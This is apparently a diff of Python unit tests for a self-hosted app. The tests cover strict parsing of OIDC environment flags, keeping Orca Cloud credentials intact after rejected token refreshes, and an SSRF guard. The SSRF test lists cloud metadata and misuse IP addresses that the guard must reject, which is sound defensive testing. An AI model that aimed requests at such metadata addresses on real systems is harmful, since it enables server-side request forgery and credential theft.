+def test_falsy_values_are_false(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_AUTO_CREATE_USERS", raw)
+    assert read_env_oidc_config()["auto_create_users"] is False
+
+
+@pytest.mark.parametrize("raw", ["on", "enabled", "y", "nonsense"])
+def test_an_unrecognized_boolean_is_rejected(monkeypatch, raw):
+    """Only the documented spellings are accepted; an unrecognised value must
+    not silently turn a flag on or off -- it must refuse the whole config
+    instead of guessing (M-R4 strict boolean parsing)."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_AUTO_CREATE_USERS", raw)
+    with pytest.raises(EnvOIDCConfigError, match="BAMBUDDY_OIDC_AUTO_CREATE_USERS"):
+        read_env_oidc_config()
+
+
+def test_a_boolean_default_of_true_can_be_turned_off(monkeypatch):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED", "false")
+    assert read_env_oidc_config()["require_email_verified"] is False
+
+
+# --- env_bool, tested directly ------------------------------------------------
+# The reader-level tests above pin the contract through read_env_oidc_config;
+# these exercise the helper itself so its default/blank/reject behavior is
+# proven independently of any particular BAMBUDDY_OIDC_* field.
+
+
+@pytest.mark.parametrize("raw", ["false", "FALSE", "0", "no", "NO"])
+def test_env_bool_falsy_values_are_false(monkeypatch, raw):
+    monkeypatch.setenv("SOME_FLAG", raw)
+    assert env_bool("SOME_FLAG", True) is False
+
+
+@pytest.mark.parametrize("default", [True, False])
+def test_env_bool_absent_is_the_given_default(monkeypatch, default):
+    monkeypatch.delenv("SOME_FLAG", raising=False)
+    assert env_bool("SOME_FLAG", default) is default
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+@pytest.mark.parametrize("default", [True, False])
+def test_env_bool_blank_is_the_given_default(monkeypatch, raw, default):
+    monkeypatch.setenv("SOME_FLAG", raw)
+    assert env_bool("SOME_FLAG", default) is default
+
+
+@pytest.mark.parametrize("raw", ["on", "enabled", "y", "nonsense"])
+def test_env_bool_rejects_an_unrecognized_value(monkeypatch, raw):
+    monkeypatch.setenv("SOME_FLAG", raw)
+    with pytest.raises(EnvOIDCConfigError, match="SOME_FLAG"):
+        env_bool("SOME_FLAG", True)
+
+
+@pytest.mark.parametrize("raw", ["on", "enabled", "y", "nonsense"])
+@pytest.mark.parametrize("default", [True, False])
+def test_env_bool_lenient_falls_back_to_default_on_unrecognized(monkeypatch, raw, default):
+    """strict=False (the request-path callers like BAMBUDDY_LOCAL_LOGIN): an
+    unrecognized value must return the default, never raise -- a raise there
+    would 500 a live endpoint rather than skip a startup config."""
+    monkeypatch.setenv("SOME_FLAG", raw)
+    assert env_bool("SOME_FLAG", default, strict=False) is default
+
+
+def test_optional_strings_override_their_defaults(monkeypatch):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_SCOPES", "openid profile groups")
+    monkeypatch.setenv("BAMBUDDY_OIDC_EMAIL_CLAIM", "mail")
+    monkeypatch.setenv("BAMBUDDY_OIDC_ICON_URL", "https://sso.example.com/logo.png")
+    cfg = read_env_oidc_config()
+    assert cfg["scopes"] == "openid profile groups"
+    assert cfg["email_claim"] == "mail"
+    assert cfg["icon_url"] == "https://sso.example.com/logo.png"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_scopes_is_unset(monkeypatch, raw):
+    """`BAMBUDDY_OIDC_SCOPES=` in a compose file is a forgotten value, not a
+    request for a provider with no scopes -- same rule as default_group."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_SCOPES", raw)
+    assert read_env_oidc_config()["scopes"] == "openid email profile"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_email_claim_is_unset(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_EMAIL_CLAIM", raw)
+    assert read_env_oidc_config()["email_claim"] == "email"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_icon_url_is_unset(monkeypatch, raw):
+    """Uncommenting `# BAMBUDDY_OIDC_ICON_URL=` in .env.example must not take
+    the provider down -- the reader must still return a config, not refuse it."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_ICON_URL", raw)
+    cfg = read_env_oidc_config()
+    assert cfg is not None, "a blank optional var must not refuse the whole provider"
+    assert cfg["icon_url"] is None
+
+
+def test_the_default_group_is_read_as_a_name(monkeypatch):
+    """A name, not an id: group ids differ per install, so an id in a compose
+    file would point at whatever group happened to be created third."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_DEFAULT_GROUP", "Operators")
+    cfg = read_env_oidc_config()
+    assert cfg["default_group"] == "Operators"
+    assert "default_group_id" not in cfg, "resolution needs the database, not the reader"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_default_group_is_unset(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_DEFAULT_GROUP", raw)
+    assert read_env_oidc_config()["default_group"] is None
+
+
+def test_every_var_the_reader_knows_is_registered_in_the_typo_guard():
+    """An unregistered BAMBUDDY_* var logs "possible typo" at every boot, which
+    would tell operators their correct config is wrong. Asserted against the
+    reader's own vars rather than a copied list, so a var added later is caught
+    here instead of in someone's logs."""
+    from backend.app.core.config import _INTENTIONAL_UNSETTINGS
+
+    unregistered = {v for v in (*REQUIRED, *OPTIONAL) if v not in _INTENTIONAL_UNSETTINGS}
+    assert not unregistered

+ 125 - 0
backend/tests/unit/test_orca_cloud_refresh.py

@@ -0,0 +1,125 @@
+"""What a rejected Orca Cloud refresh is allowed to do to stored credentials.
+
+The refresh token is single-use and rotating, and Orca reports every rejection
+with one composite reason (``unknown, expired, revoked, or already used``), so
+Bambuddy cannot tell a genuine revocation from a lost rotation race. Routes may
+still clear on that signal — a person is looking at the page and can pair again
+— but a background job must not, or an unattended run can destroy a working
+pairing (#2717).
+"""
+
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+from fastapi import HTTPException
+from sqlalchemy import select
+
+from backend.app.api.routes.orca_cloud import _SETTINGS_KEYS, _build_authenticated_service
+from backend.app.models.settings import Settings
+from backend.app.services.orca_cloud import OrcaCloudAuthError, OrcaCloudError
+
+
+async def _store_global_credentials(db):
+    """An auth-disabled install's Orca credentials, expired so the helper
+    refreshes rather than returning straight away."""
+    db.add_all(
+        [
+            Settings(key=_SETTINGS_KEYS["token"], value="oc_ext_old"),
+            Settings(key=_SETTINGS_KEYS["refresh_token"], value="oc_ext_rt_old"),
+            Settings(key=_SETTINGS_KEYS["expires_at"], value="2000-01-01T00:00:00+00:00"),
+            Settings(key=_SETTINGS_KEYS["email"], value="a@b.c"),
+        ]
+    )
+    await db.commit()
+
+
+async def _stored_keys(db) -> set[str]:
+    result = await db.execute(select(Settings).where(Settings.key.in_(list(_SETTINGS_KEYS.values()))))
+    return {s.key for s in result.scalars().all()}
+
+
+def _expired_service(refresh_side_effect=None):
+    """A service that reports its access token as expired, so the helper takes
+    the refresh branch."""
+    svc = MagicMock()
+    svc.is_authenticated = False
+    svc.refresh_token = "oc_ext_rt_old"
+    svc.set_tokens = MagicMock()
+    svc.refresh = AsyncMock(side_effect=refresh_side_effect)
+    svc.access_token = "oc_ext_new"
+    svc.token_expiry = None
+    return svc
+
+
+class TestRejectedRefresh:
+    @pytest.mark.asyncio
+    async def test_routes_clear_the_dead_pairing_by_default(self, db_session):
+        """Unchanged behaviour for interactive callers: the page flips to
+        disconnected while the user is there to pair again."""
+        await _store_global_credentials(db_session)
+        svc = _expired_service(OrcaCloudAuthError("grant already used"))
+
+        with (
+            patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc),
+            pytest.raises(HTTPException) as exc,
+        ):
+            await _build_authenticated_service(db_session, None)
+
+        assert exc.value.status_code == 401
+        assert await _stored_keys(db_session) == set()
+
+    @pytest.mark.asyncio
+    async def test_background_callers_leave_the_credentials_alone(self, db_session):
+        """The whole point of the flag. A scheduled backup that guesses wrong
+        here destroys a pairing nobody asked it to touch, and the user finds
+        out when their profiles stop being backed up."""
+        await _store_global_credentials(db_session)
+        svc = _expired_service(OrcaCloudAuthError("grant already used"))
+
+        with (
+            patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc),
+            pytest.raises(HTTPException) as exc,
+        ):
+            await _build_authenticated_service(db_session, None, clear_on_auth_failure=False)
+
+        # Still reported as a hard auth failure — the caller has to skip the
+        # account — but nothing was destroyed on the way out.
+        assert exc.value.status_code == 401
+        assert _SETTINGS_KEYS["token"] in await _stored_keys(db_session)
+        assert _SETTINGS_KEYS["refresh_token"] in await _stored_keys(db_session)
+
+    @pytest.mark.asyncio
+    async def test_an_unreachable_orca_never_clears_either_way(self, db_session):
+        """A transport failure says nothing about the credentials' validity."""
+        await _store_global_credentials(db_session)
+        svc = _expired_service(OrcaCloudError("connection reset"))
+
+        with (
+            patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc),
+            pytest.raises(HTTPException) as exc,
+        ):
+            await _build_authenticated_service(db_session, None)
+
+        assert exc.value.status_code == 502
+        assert _SETTINGS_KEYS["token"] in await _stored_keys(db_session)
+
+
+class TestSuccessfulRefresh:
+    @pytest.mark.asyncio
+    async def test_the_rotated_pair_is_persisted_even_for_background_callers(self, db_session):
+        """Not optional: by the time the refresh succeeds the old token is
+        consumed, so failing to store the new pair would break a live pairing
+        for real. The flag suppresses destruction, never persistence.
+        """
+        await _store_global_credentials(db_session)
+        svc = _expired_service()
+        svc.refresh_token = "oc_ext_rt_new"
+
+        with patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc):
+            returned = await _build_authenticated_service(db_session, None, clear_on_auth_failure=False)
+
+        assert returned is svc
+        result = await db_session.execute(select(Settings).where(Settings.key == _SETTINGS_KEYS["token"]))
+        assert result.scalar_one().value == "oc_ext_new"
+        result = await db_session.execute(select(Settings).where(Settings.key == _SETTINGS_KEYS["refresh_token"]))
+        assert result.scalar_one().value == "oc_ext_rt_new"

+ 10 - 1
backend/tests/unit/test_outbound_url_ssrf_guards.py

@@ -436,7 +436,16 @@ def test_ha_guard_keeps_ipv6_literals_bracketed():
     assert HomeAssistantService._validate_url("http://[fd00::1]:8123/api") == "http://[fd00::1]:8123/api"
 
 
-@pytest.mark.parametrize("ip", ["169.254.169.254", "100.100.100.200", "fd00:ec2::254", "0.0.0.0", "239.255.255.250"])
+@pytest.mark.parametrize(
+    "ip",
+    [
+        "169.254.169.254",
+        "100.100.100.200",
+        "fd00:ec2::254",
+        "0.0.0.0",  # nosec B104 — rejection fixture, not a bind address: the assertion below is that the guard refuses it
+        "239.255.255.250",
+    ],
+)
 def test_tasmota_guard_rejects_metadata_and_misuse_addresses(ip: str):
     """Tasmota keeps its own stricter rule (bare IP literals only, loopback
     rejected — a plug is always a separate LAN device), but must not miss the

Některé soubory nejsou zobrazeny, neboť je v těchto rozdílových datech změněno mnoho souborů